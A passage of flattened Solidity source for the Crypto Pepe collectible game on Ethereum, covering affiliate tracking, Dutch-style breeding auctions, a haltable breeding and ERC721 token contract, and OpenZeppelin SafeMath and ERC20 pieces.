function setBeneficiary(address _beneficiary) public onlyOwner {
beneficiary = _beneficiary;
}
}
// File: contracts/Affiliate.sol
// solhint-disable-next-line
pragma solidity ^0.4.25;
/** @title Affiliate */
contract Affiliate is Ownable {
mapping(address => bool) public canSetAffiliate;
mapping(address => address) public userToAffiliate;
/** @dev Allows an address to set the affiliate address for a user
* @param _setter The address that should be allowed
*/
function setAffiliateSetter(address _setter) public onlyOwner {
canSetAffiliate[_setter] = true;
}
/**
* @dev Set the affiliate of a user
* @param _user user to set affiliate for
* @param _affiliate address to set
*/
function setAffiliate(address _user, address _affiliate) public {
require(canSetAffiliate[msg.sender]);
if (userToAffiliate[_user] == address(0)) {
userToAffiliate[_user] = _affiliate;
}
}
}
// File: contracts/interfaces/ERC721.sol
contract ERC721 {
function implementsERC721() public pure returns (bool);
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) public view returns (address owner);
function approve(address _to, uint256 _tokenId) public;
function transferFrom(address _from, address _to, uint256 _tokenId) public returns (bool) ;
function transfer(address _to, uint256 _tokenId) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
// Optional
// function name() public view returns (string name);
// function symbol() public view returns (string symbol);
// function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256 tokenId);
// function tokenMetadata(uint256 _tokenId) public view returns (string infoUrl);
}
// File: contracts/interfaces/PepeInterface.sol
contract PepeInterface is ERC721{
function cozyTime(uint256 _mother, uint256 _father, address _pepeReceiver) public returns (bool);
function getCozyAgain(uint256 _pepeId) public view returns(uint64);
}
// File: contracts/AuctionBase.sol
// solhint-disable-next-line
pragma solidity ^0.4.24;
/** @title AuctionBase */
contract AuctionBase is Beneficiary {
mapping(uint256 => PepeAuction) public auctions;//maps pepes to auctions
PepeInterface public pepeContract;
Affiliate public affiliateContract;
uint256 public fee = 37500; //in 1 10000th of a percent so 3.75% at the start
uint256 public constant FEE_DIVIDER = 1000000; //Perhaps needs better name?
struct PepeAuction {
address seller;
uint256 pepeId;
uint64 auctionBegin;
uint64 auctionEnd;
uint256 beginPrice;
uint256 endPrice;
}
event AuctionWon(uint256 indexed pepe, address indexed winner, address indexed seller);
event AuctionStarted(uint256 indexed pepe, address indexed seller);
event AuctionFinalized(uint256 indexed pepe, address indexed seller);
constructor(address _pepeContract, address _affiliateContract) public {
pepeContract = PepeInterface(_pepeContract);
affiliateContract = Affiliate(_affiliateContract);
}
/**
* @dev Return a pepe from a auction that has passed
* @param _pepeId the id of the pepe to save
*/
function savePepe(uint256 _pepeId) external {
// solhint-disable-next-line not-rely-on-time
require(auctions[_pepeId].auctionEnd < now);//auction must have ended
require(pepeContract.transfer(auctions[_pepeId].seller, _pepeId));//transfer pepe back to seller
emit AuctionFinalized(_pepeId, auctions[_pepeId].seller);
delete auctions[_pepeId];//delete auction
}
/**
* @dev change the fee on pepe sales. Can only be lowerred
* @param _fee The new fee to set. Must be lower than current fee
*/
function changeFee(uint256 _fee) external onlyOwner {
require(_fee < fee);//fee can not be raised
fee = _fee;
}
/**
* @dev Start a auction
* @param _pepeId Pepe to sell
* @param _beginPrice Price at which the auction starts
* @param _endPrice Ending price of the auction
* @param _duration How long the auction should take
*/
function startAuction(uint256 _pepeId, uint256 _beginPrice, uint256 _endPrice, uint64 _duration) public {
require(pepeContract.transferFrom(msg.sender, address(this), _pepeId));
// solhint-disable-next-line not-rely-on-time
require(now > auctions[_pepeId].auctionEnd);//can only start new auction if no other is active
PepeAuction memory auction;
auction.seller = msg.sender;
auction.pepeId = _pepeId;
// solhint-disable-next-line not-rely-on-time
auction.auctionBegin = uint64(now);
// solhint-disable-next-line not-rely-on-time
auction.auctionEnd = uint64(now) + _duration;
require(auction.auctionEnd > auction.auctionBegin);
auction.beginPrice = _beginPrice;
auction.endPrice = _endPrice;
auctions[_pepeId] = auction;
emit AuctionStarted(_pepeId, msg.sender);
}
/**
* @dev directly start a auction from the PepeBase contract
* @param _pepeId Pepe to put on auction
* @param _beginPrice Price at which the auction starts
* @param _endPrice Ending price of the auction
* @param _duration How long the auction should take
* @param _seller The address selling the pepe
*/
// solhint-disable-next-line max-line-length
function startAuctionDirect(uint256 _pepeId, uint256 _beginPrice, uint256 _endPrice, uint64 _duration, address _seller) public {
require(msg.sender == address(pepeContract)); //can only be called by pepeContract
//solhint-disable-next-line not-rely-on-time
require(now > auctions[_pepeId].auctionEnd);//can only start new auction if no other is active
PepeAuction memory auction;
auction.seller = _seller;
auction.pepeId = _pepeId;
// solhint-disable-next-line not-rely-on-time
auction.auctionBegin = uint64(now);
// solhint-disable-next-line not-rely-on-time
auction.auctionEnd = uint64(now) + _duration;
require(auction.auctionEnd > auction.auctionBegin);
auction.beginPrice = _beginPrice;
auction.endPrice = _endPrice;
auctions[_pepeId] = auction;
emit AuctionStarted(_pepeId, _seller);
}
/**
* @dev Calculate the current price of a auction
* @param _pepeId the pepeID to calculate the current price for
* @return currentBid the current price for the auction
*/
function calculateBid(uint256 _pepeId) public view returns(uint256 currentBid) {
PepeAuction storage auction = auctions[_pepeId];
// solhint-disable-next-line not-rely-on-time
uint256 timePassed = now - auctions[_pepeId].auctionBegin;
// If auction ended return auction end price.
// solhint-disable-next-line not-rely-on-time
if (now >= auction.auctionEnd) {
return auction.endPrice;
} else {
// Can be negative
int256 priceDifference = int256(auction.endPrice) - int256(auction.beginPrice);
// Always positive
int256 duration = int256(auction.auctionEnd) - int256(auction.auctionBegin);
// As already proven in practice by CryptoKitties:
// timePassed -> 64 bits at most
// priceDifference -> 128 bits at most
// timePassed * priceDifference -> 64 + 128 bits at most
int256 priceChange = priceDifference * int256(timePassed) / duration;
// Will be positive, both operands are less than 256 bits
int256 price = int256(auction.beginPrice) + priceChange;
return uint256(price);
}
}
/**
* @dev collect the fees from the auction
*/
function getFees() public {
beneficiary.transfer(address(this).balance);
}
}
// File: contracts/CozyTimeAuction.sol
// solhint-disable-next-line
pragma solidity ^0.4.24;
/** @title CozyTimeAuction */
contract CozyTimeAuction is AuctionBase {
// solhint-disable-next-line
constructor (address _pepeContract, address _affiliateContract) AuctionBase(_pepeContract, _affiliateContract) public {
}
/**
* @dev Start an auction
* @param _pepeId The id of the pepe to start the auction for
* @param _beginPrice Start price of the auction
* @param _endPrice End price of the auction
* @param _duration How long the auction should take
*/
function startAuction(uint256 _pepeId, uint256 _beginPrice, uint256 _endPrice, uint64 _duration) public {
// solhint-disable-next-line not-rely-on-time
require(pepeContract.getCozyAgain(_pepeId) <= now);//need to have this extra check
super.startAuction(_pepeId, _beginPrice, _endPrice, _duration);
}
/**
* @dev Start a auction direclty from the PepeBase smartcontract
* @param _pepeId The id of the pepe to start the auction for
* @param _beginPrice Start price of the auction
* @param _endPrice End price of the auction
* @param _duration How long the auction should take
* @param _seller The address of the seller
*/
// solhint-disable-next-line max-line-length
function startAuctionDirect(uint256 _pepeId, uint256 _beginPrice, uint256 _endPrice, uint64 _duration, address _seller) public {
// solhint-disable-next-line not-rely-on-time
require(pepeContract.getCozyAgain(_pepeId) <= now);//need to have this extra check
super.startAuctionDirect(_pepeId, _beginPrice, _endPrice, _duration, _seller);
}
/**
* @dev Buy cozy right from the auction
* @param _pepeId Pepe to cozy with
* @param _cozyCandidate the pepe to cozy with
* @param _candidateAsFather Is the _cozyCandidate father?
* @param _pepeReceiver address receiving the pepe after cozy time
*/
// solhint-disable-next-line max-line-length
function buyCozy(uint256 _pepeId, uint256 _cozyCandidate, bool _candidateAsFather, address _pepeReceiver) public payable {
require(address(pepeContract) == msg.sender); //caller needs to be the PepeBase contract
PepeAuction storage auction = auctions[_pepeId];
// solhint-disable-next-line not-rely-on-time
require(now < auction.auctionEnd);// auction must be still going
uint256 price = calculateBid(_pepeId);
require(msg.value >= price);//must send enough ether
uint256 totalFee = price * fee / FEE_DIVIDER; //safe math needed?
//Send ETH to seller
auction.seller.transfer(price - totalFee);
//send ETH to beneficiary
address affiliate = affiliateContract.userToAffiliate(_pepeReceiver);
//solhint-disable-next-line
if (affiliate != address(0) && affiliate.send(totalFee / 2)) { //if user has affiliate
//nothing just to suppress warning
}
//actual cozytiming
if (_candidateAsFather) {
if (!pepeContract.cozyTime(auction.pepeId, _cozyCandidate, _pepeReceiver)) {
revert();
}
} else {
// Swap around the two pepes, they have no set gender, the user decides what they are.
if (!pepeContract.cozyTime(_cozyCandidate, auction.pepeId, _pepeReceiver)) {
revert();
}
}
//Send pepe to seller of auction
if (!pepeContract.transfer(auction.seller, _pepeId)) {
revert(); //can't complete transfer if this fails
}
if (msg.value > price) { //return ether send to much
_pepeReceiver.transfer(msg.value - price);
}
emit AuctionWon(_pepeId, _pepeReceiver, auction.seller);//emit event
delete auctions[_pepeId];//deletes auction
}
/**
* @dev Buy cozytime and pass along affiliate
* @param _pepeId Pepe to cozy with
* @param _cozyCandidate the pepe to cozy with
* @param _candidateAsFather Is the _cozyCandidate father?
* @param _pepeReceiver address receiving the pepe after cozy time
* @param _affiliate Affiliate address to set
*/
//solhint-disable-next-line max-line-length
function buyCozyAffiliated(uint256 _pepeId, uint256 _cozyCandidate, bool _candidateAsFather, address _pepeReceiver, address _affiliate) public payable {
affiliateContract.setAffiliate(_pepeReceiver, _affiliate);
buyCozy(_pepeId, _cozyCandidate, _candidateAsFather, _pepeReceiver);
}
}
// File: contracts/Haltable.sol
// solhint-disable-next-line
pragma solidity ^0.4.24;
contract Haltable is Ownable {
uint256 public haltTime; //when the contract was halted
bool public halted;//is the contract halted?
uint256 public haltDuration;
uint256 public maxHaltDuration = 8 weeks;//how long the contract can be halted
modifier stopWhenHalted {
require(!halted);
_;
}
modifier onlyWhenHalted {
require(halted);
_;
}
/**
* @dev Halt the contract for a set time smaller than maxHaltDuration
* @param _duration Duration how long the contract should be halted. Must be smaller than maxHaltDuration
*/
function halt(uint256 _duration) public onlyOwner {
require(haltTime == 0); //cannot halt if it was halted before
require(_duration <= maxHaltDuration);//cannot halt for longer than maxHaltDuration
haltDuration = _duration;
halted = true;
// solhint-disable-next-line not-rely-on-time
haltTime = now;
}
/**
* @dev Unhalt the contract. Can only be called by the owner or when the haltTime has passed
*/
function unhalt() public {
// solhint-disable-next-line
require(now > haltTime + haltDuration || msg.sender == owner);//unhalting is only possible when haltTime has passed or the owner unhalts
halted = false;
}
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/interfaces/ERC721TokenReceiver.sol
/// @dev Note: the ERC-165 identifier for this interface is 0xf0b9e5ba
interface ERC721TokenReceiver {
/// @notice Handle the receipt of an NFT
/// @dev The ERC721 smart contract calls this function on the recipient
/// after a `transfer`. This function MAY throw to revert and reject the
/// transfer. This function MUST use 50,000 gas or less. Return of other
/// than the magic value MUST result in the transaction being reverted.
/// Note: the contract address is always the message sender.
/// @param _from The sending address
/// @param _tokenId The NFT identifier which is being transfered
/// @param data Additional data with no specified format
/// @return `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`
/// unless throwing
function onERC721Received(address _from, uint256 _tokenId, bytes data) external returns(bytes4);
}
// File: contracts/PepeBase.sol
// solhint-disable-next-line
pragma solidity ^0.4.24;
// solhint-disable func-order
contract PepeBase is Genetic, Ownable, Usernames, Haltable {
uint32[15] public cozyCoolDowns = [ //determined by generation / 2
uint32(1 minutes),
uint32(2 minutes),
uint32(5 minutes),
uint32(15 minutes),
uint32(30 minutes),
uint32(45 minutes),
uint32(1 hours),
uint32(2 hours),
uint32(4 hours),
uint32(8 hours),
uint32(16 hours),
uint32(1 days),
uint32(2 days),
uint32(4 days),
uint32(7 days)
];
struct Pepe {
address master; //The master of the pepe
uint256[2] genotype; //all genes stored here
uint64 canCozyAgain; //time when pepe can have nice time again
uint64 generation; //what generation?
uint64 father; //father of this pepe
uint64 mother; //mommy of this pepe
uint8 coolDownIndex;
}
mapping(uint256 => bytes32) public pepeNames;
//stores all pepes
Pepe[] public pepes;
bool public implementsERC721 = true; //signal erc721 support
// solhint-disable-next-line const-name-snakecase
string public constant name = "Crypto Pepe";
// solhint-disable-next-line const-name-snakecase
string public constant symbol = "CPEP";
mapping(address => uint256[]) private wallets;
mapping(address => uint256) public balances; //amounts of pepes per address
mapping(uint256 => address) public approved; //pepe index to address approved to transfer
mapping(address => mapping(address => bool)) public approvedForAll;
uint256 public zeroGenPepes; //how many zero gen pepes are mined
uint256 public constant MAX_PREMINE = 100;//how many pepes can be premined
uint256 public constant MAX_ZERO_GEN_PEPES = 1100; //max number of zero gen pepes
address public miner; //address of the miner contract
modifier onlyPepeMaster(uint256 _pepeId) {
require(pepes[_pepeId].master == msg.sender);
_;
}
modifier onlyAllowed(uint256 _tokenId) {
// solhint-disable-next-line max-line-length
require(msg.sender == pepes[_tokenId].master || msg.sender == approved[_tokenId] || approvedForAll[pepes[_tokenId].master][msg.sender]); //check if msg.sender is allowed
_;
}
event PepeBorn(uint256 indexed mother, uint256 indexed father, uint256 indexed pepeId);
event PepeNamed(uint256 indexed pepeId);
constructor() public {
Pepe memory pepe0 = Pepe({
master: 0x0,
genotype: [uint256(0), uint256(0)],
canCozyAgain: 0,
father: 0,
mother: 0,
generation: 0,
coolDownIndex: 0
});
pepes.push(pepe0);
}
/**
* @dev Internal function that creates a new pepe
* @param _genoType DNA of the new pepe
* @param _mother The ID of the mother
* @param _father The ID of the father
* @param _generation The generation of the new Pepe
* @param _master The owner of this new Pepe
* @return The ID of the newly generated Pepe
*/
// solhint-disable-next-line max-line-length
function _newPepe(uint256[2] _genoType, uint64 _mother, uint64 _father, uint64 _generation, address _master) internal returns (uint256 pepeId) {
uint8 tempCoolDownIndex;
tempCoolDownIndex = uint8(_generation / 2);
if (_generation > 28) {
tempCoolDownIndex = 14;
}
Pepe memory _pepe = Pepe({
master: _master, //The master of the pepe
genotype: _genoType, //all genes stored here
canCozyAgain: 0, //time when pepe can have nice time again
father: _father, //father of this pepe
mother: _mother, //mommy of this pepe
generation: _generation, //what generation?
coolDownIndex: tempCoolDownIndex
});
if (_generation == 0) {
zeroGenPepes += 1; //count zero gen pepes
}
//push returns the new length, use it to get a new unique id
pepeId = pepes.push(_pepe) - 1;
//add it to the wallet of the master of the new pepe
addToWallet(_master, pepeId);
emit PepeBorn(_mother, _father, pepeId);
emit Transfer(address(0), _master, pepeId);
return pepeId;
}
/**
* @dev Set the miner contract. Can only be called once
* @param _miner Address of the miner contract
*/
function setMiner(address _miner) public onlyOwner {
require(miner == address(0));//can only be set once
miner = _miner;
}
/**
* @dev Mine a new Pepe. Can only be called by the miner contract.
* @param _seed Seed to be used for the generation of the DNA
* @param _receiver Address receiving the newly mined Pepe
* @return The ID of the newly mined Pepe
*/
function minePepe(uint256 _seed, address _receiver) public stopWhenHalted returns(uint256) {
require(msg.sender == miner);//only miner contract can call
require(zeroGenPepes < MAX_ZERO_GEN_PEPES);
return _newPepe(randomDNA(_seed), 0, 0, 0, _receiver);
}
/**
* @dev Premine pepes. Can only be called by the owner and is limited to MAX_PREMINE
* @param _amount Amount of Pepes to premine
*/
function pepePremine(uint256 _amount) public onlyOwner stopWhenHalted {
for (uint i = 0; i < _amount; i++) {
require(zeroGenPepes <= MAX_PREMINE);//can only generate set amount during premine
//create a new pepe
// 1) who's genes are based on hash of the timestamp and the number of pepes
// 2) who has no mother or father
// 3) who is generation zero
// 4) who's master is the manager
// solhint-disable-next-line
_newPepe(randomDNA(uint256(keccak256(abi.encodePacked(block.timestamp, pepes.length)))), 0, 0, 0, owner);
}
}
/**
* @dev CozyTime two Pepes together
* @param _mother The mother of the new Pepe
* @param _father The father of the new Pepe
* @param _pepeReceiver Address receiving the new Pepe
* @return If it was a success
*/
function cozyTime(uint256 _mother, uint256 _father, address _pepeReceiver) external stopWhenHalted returns (bool) {
//cannot cozyTime with itself
require(_mother != _father);
//caller has to either be master or approved for mother
// solhint-disable-next-line max-line-length
require(pepes[_mother].master == msg.sender || approved[_mother] == msg.sender || approvedForAll[pepes[_mother].master][msg.sender]);
//caller has to either be master or approved for father
// solhint-disable-next-line max-line-length
require(pepes[_father].master == msg.sender || approved[_father] == msg.sender || approvedForAll[pepes[_father].master][msg.sender]);
//require both parents to be ready for cozytime
// solhint-disable-next-line not-rely-on-time
require(now > pepes[_mother].canCozyAgain && now > pepes[_father].canCozyAgain);
//require both mother parents not to be father
require(pepes[_mother].mother != _father && pepes[_mother].father != _father);
//require both father parents not to be mother
require(pepes[_father].mother != _mother && pepes[_father].father != _mother);
Pepe storage father = pepes[_father];
Pepe storage mother = pepes[_mother];
approved[_father] = address(0);
approved[_mother] = address(0);
uint256[2] memory newGenotype = breed(father.genotype, mother.genotype, pepes.length);
uint64 newGeneration;
newGeneration = mother.generation + 1;
if (newGeneration < father.generation + 1) { //if father generation is bigger
newGeneration = father.generation + 1;
}
_handleCoolDown(_mother);
_handleCoolDown(_father);
//sets pepe birth when mother is done
// solhint-disable-next-line max-line-length
pepes[_newPepe(newGenotype, uint64(_mother), uint64(_father), newGeneration, _pepeReceiver)].canCozyAgain = mother.canCozyAgain; //_pepeReceiver becomes the master of the pepe
return true;
}
/**
* @dev Internal function to increase the coolDownIndex
* @param _pepeId The id of the Pepe to update the coolDown of
*/
function _handleCoolDown(uint256 _pepeId) internal {
Pepe storage tempPep = pepes[_pepeId];
// solhint-disable-next-line not-rely-on-time
tempPep.canCozyAgain = uint64(now + cozyCoolDowns[tempPep.coolDownIndex]);
if (tempPep.coolDownIndex < 14) {// after every cozy time pepe gets slower
tempPep.coolDownIndex++;
}
}
/**
* @dev Set the name of a Pepe. Can only be set once
* @param _pepeId ID of the pepe to name
* @param _name The name to assign
*/
function setPepeName(uint256 _pepeId, bytes32 _name) public stopWhenHalted onlyPepeMaster(_pepeId) returns(bool) {
require(pepeNames[_pepeId] == 0x0000000000000000000000000000000000000000000000000000000000000000);
pepeNames[_pepeId] = _name;
emit PepeNamed(_pepeId);
return true;
}
/**
* @dev Transfer a Pepe to the auction contract and auction it
* @param _pepeId ID of the Pepe to auction
* @param _auction Auction contract address
* @param _beginPrice Price the auction starts at
* @param _endPrice Price the auction ends at
* @param _duration How long the auction should run
*/
// solhint-disable-next-line max-line-length
function transferAndAuction(uint256 _pepeId, address _auction, uint256 _beginPrice, uint256 _endPrice, uint64 _duration) public stopWhenHalted onlyPepeMaster(_pepeId) {
_transfer(msg.sender, _auction, _pepeId);//transfer pepe to auction
AuctionBase auction = AuctionBase(_auction);
auction.startAuctionDirect(_pepeId, _beginPrice, _endPrice, _duration, msg.sender);
}
/**
* @dev Approve and buy. Used to buy cozyTime in one call
* @param _pepeId Pepe to cozy with
* @param _auction Address of the auction contract
* @param _cozyCandidate Pepe to approve and cozy with
* @param _candidateAsFather Use the candidate as father or not
*/
// solhint-disable-next-line max-line-length
function approveAndBuy(uint256 _pepeId, address _auction, uint256 _cozyCandidate, bool _candidateAsFather) public stopWhenHalted payable onlyPepeMaster(_cozyCandidate) {
approved[_cozyCandidate] = _auction;
// solhint-disable-next-line max-line-length
CozyTimeAuction(_auction).buyCozy.value(msg.value)(_pepeId, _cozyCandidate, _candidateAsFather, msg.sender); //breeding resets approval
}
/**
* @dev The same as above only pass an extra parameter
* @param _pepeId Pepe to cozy with
* @param _auction Address of the auction contract
* @param _cozyCandidate Pepe to approve and cozy with
* @param _candidateAsFather Use the candidate as father or not
* @param _affiliate Address to set as affiliate
*/
// solhint-disable-next-line max-line-length
function approveAndBuyAffiliated(uint256 _pepeId, address _auction, uint256 _cozyCandidate, bool _candidateAsFather, address _affiliate) public stopWhenHalted payable onlyPepeMaster(_cozyCandidate) {
approved[_cozyCandidate] = _auction;
// solhint-disable-next-line max-line-length
CozyTimeAuction(_auction).buyCozyAffiliated.value(msg.value)(_pepeId, _cozyCandidate, _candidateAsFather, msg.sender, _affiliate); //breeding resets approval
}
/**
* @dev get Pepe information
* @param _pepeId ID of the Pepe to get information of
* @return master
* @return genotype
* @return canCozyAgain
* @return generation
* @return father
* @return mother
* @return pepeName
* @return coolDownIndex
*/
// solhint-disable-next-line max-line-length
function getPepe(uint256 _pepeId) public view returns(address master, uint256[2] genotype, uint64 canCozyAgain, uint64 generation, uint256 father, uint256 mother, bytes32 pepeName, uint8 coolDownIndex) {
Pepe storage tempPep = pepes[_pepeId];
master = tempPep.master;
genotype = tempPep.genotype;
canCozyAgain = tempPep.canCozyAgain;
generation = tempPep.generation;
father = tempPep.father;
mother = tempPep.mother;
pepeName = pepeNames[_pepeId];
coolDownIndex = tempPep.coolDownIndex;
}
/**
* @dev Get the time when a pepe can cozy again
* @param _pepeId ID of the pepe
* @return Time when the pepe can cozy again
*/
function getCozyAgain(uint256 _pepeId) public view returns(uint64) {
return pepes[_pepeId].canCozyAgain;
}
/**
* ERC721 Compatibility
*
*/
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
/**
* @dev Get the total number of Pepes
* @return total Returns the total number of pepes
*/
function totalSupply() public view returns(uint256 total) {
total = pepes.length - balances[address(0)];
return total;
}
/**
* @dev Get the number of pepes owned by an address
* @param _owner Address to get the balance from
* @return balance The number of pepes
*/
function balanceOf(address _owner) external view returns (uint256 balance) {
balance = balances[_owner];
}
/**
* @dev Get the owner of a Pepe
* @param _tokenId the token to get the owner of
* @return _owner the owner of the pepe
*/
function ownerOf(uint256 _tokenId) external view returns (address _owner) {
_owner = pepes[_tokenId].master;
}
/**
* @dev Get the id of an token by its index
* @param _owner The address to look up the tokens of
* @param _index Index to look at
* @return tokenId the ID of the token of the owner at the specified index
*/
function tokenOfOwnerByIndex(address _owner, uint256 _index) public constant returns (uint256 tokenId) {
//The index must be smaller than the balance,
// to guarantee that there is no leftover token returned.
require(_index < balances[_owner]);
return wallets[_owner][_index];
}
/**
* @dev Private method that ads a token to the wallet
* @param _owner Address of the owner
* @param _tokenId Pepe ID to add
*/
function addToWallet(address _owner, uint256 _tokenId) private {
uint256[] storage wallet = wallets[_owner];
uint256 balance = balances[_owner];
if (balance < wallet.length) {
wallet[balance] = _tokenId;
} else {
wallet.push(_tokenId);
}
//increase owner balance
//overflow is not likely to happen(need very large amount of pepes)
balances[_owner] += 1;
}
/**
* @dev Remove a token from a address's wallet
* @param _owner Address of the owner
* @param _tokenId Token to remove from the wallet
*/
function removeFromWallet(address _owner, uint256 _tokenId) private {
uint256[] storage wallet = wallets[_owner];
uint256 i = 0;
// solhint-disable-next-line no-empty-blocks
for (; wallet[i] != _tokenId; i++) {
// not the pepe we are looking for
}
if (wallet[i] == _tokenId) {
//found it!
uint256 last = balances[_owner] - 1;
if (last > 0) {
//move the last item to this spot, the last will become inaccessible
wallet[i] = wallet[last];
}
//else: no last item to move, the balance is 0, making everything inaccessible.
//only decrease balance if _tokenId was in the wallet
balances[_owner] -= 1;
}
}
/**
* @dev Internal transfer function
* @param _from Address sending the token
* @param _to Address to token is send to
* @param _tokenId ID of the token to send
*/
function _transfer(address _from, address _to, uint256 _tokenId) internal {
pepes[_tokenId].master = _to;
approved[_tokenId] = address(0);//reset approved of pepe on every transfer
//remove the token from the _from wallet
removeFromWallet(_from, _tokenId);
//add the token to the _to wallet
addToWallet(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
/**
* @dev transfer a token. Can only be called by the owner of the token
* @param _to Addres to send the token to
* @param _tokenId ID of the token to send
*/
// solhint-disable-next-line no-simple-event-func-name
function transfer(address _to, uint256 _tokenId) public stopWhenHalted
onlyPepeMaster(_tokenId) //check if msg.sender is the master of this pepe
returns(bool)
{
_transfer(msg.sender, _to, _tokenId);//after master modifier invoke internal transfer
return true;
}
/**
* @dev Approve a address to send a token
* @param _to Address to approve
* @param _tokenId Token to set approval for
*/
function approve(address _to, uint256 _tokenId) external stopWhenHalted
onlyPepeMaster(_tokenId)
{
approved[_tokenId] = _to;
emit Approval(msg.sender, _to, _tokenId);
}
/**
* @dev Approve or revoke approval an address for al tokens of a user
* @param _operator Address to (un)approve
* @param _approved Approving or revoking indicator
*/
function setApprovalForAll(address _operator, bool _approved) external stopWhenHalted {
if (_approved) {
approvedForAll[msg.sender][_operator] = true;
} else {
approvedForAll[msg.sender][_operator] = false;
}
emit ApprovalForAll(msg.sender, _operator, _approved);
}
/**
* @dev Get approved address for a token
* @param _tokenId Token ID to get the approved address for
* @return The address that is approved for this token
*/
function getApproved(uint256 _tokenId) external view returns (address) {
return approved[_tokenId];
}
/**
* @dev Get if an operator is approved for all tokens of that owner
* @param _owner Owner to check the approval for
* @param _operator Operator to check approval for
* @return Boolean indicating if the operator is approved for that owner
*/
function isApprovedForAll(address _owner, address _operator) external view returns (bool) {
return approvedForAll[_owner][_operator];
}
/**
* @dev Function to signal support for an interface
* @param interfaceID the ID of the interface to check for
* @return Boolean indicating support
*/
function supportsInterface(bytes4 interfaceID) external pure returns (bool) {
if (interfaceID == 0x80ac58cd || interfaceID == 0x01ffc9a7) { //TODO: add more interfaces the contract supports
return true;
}
return false;
}
/**
* @dev Safe transferFrom function
* @param _from Address currently owning the token
* @param _to Address to send token to
* @param _tokenId ID of the token to send
*/
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external stopWhenHalted {
_safeTransferFromInternal(_from, _to, _tokenId, "");
}
/**
* @dev Safe transferFrom function with aditional data attribute
* @param _from Address currently owning the token
* @param _to Address to send token to
* @param _tokenId ID of the token to send
* @param _data Data to pass along call
*/
// solhint-disable-next-line max-line-length
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes _data) external stopWhenHalted {
_safeTransferFromInternal(_from, _to, _tokenId, _data);
}
/**
* @dev Internal Safe transferFrom function with aditional data attribute
* @param _from Address currently owning the token
* @param _to Address to send token to
* @param _tokenId ID of the token to send
* @param _data Data to pass along call
*/
// solhint-disable-next-line max-line-length
function _safeTransferFromInternal(address _from, address _to, uint256 _tokenId, bytes _data) internal onlyAllowed(_tokenId) {
require(pepes[_tokenId].master == _from);//check if from is current owner
require(_to != address(0));//throw on zero address
_transfer(_from, _to, _tokenId); //transfer token
if (isContract(_to)) { //check if is contract
// solhint-disable-next-line max-line-length
require(ERC721TokenReceiver(_to).onERC721Received(_from, _tokenId, _data) == bytes4(keccak256("onERC721Received(address,uint256,bytes)")));
}
}
/**
* @dev TransferFrom function
* @param _from Address currently owning the token
* @param _to Address to send token to
* @param _tokenId ID of the token to send
* @return If it was successful
*/
// solhint-disable-next-line max-line-length
function transferFrom(address _from, address _to, uint256 _tokenId) public stopWhenHalted onlyAllowed(_tokenId) returns(bool) {
require(pepes[_tokenId].master == _from);//check if _from is really the master.
require(_to != address(0));
_transfer(_from, _to, _tokenId);//handles event, balances and approval reset;
return true;
}
/**
* @dev Utility method to check if an address is a contract
* @param _address Address to check
* @return Boolean indicating if the address is a contract
*/
function isContract(address _address) internal view returns (bool) {
uint size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(_address) }
return size > 0;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* See https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
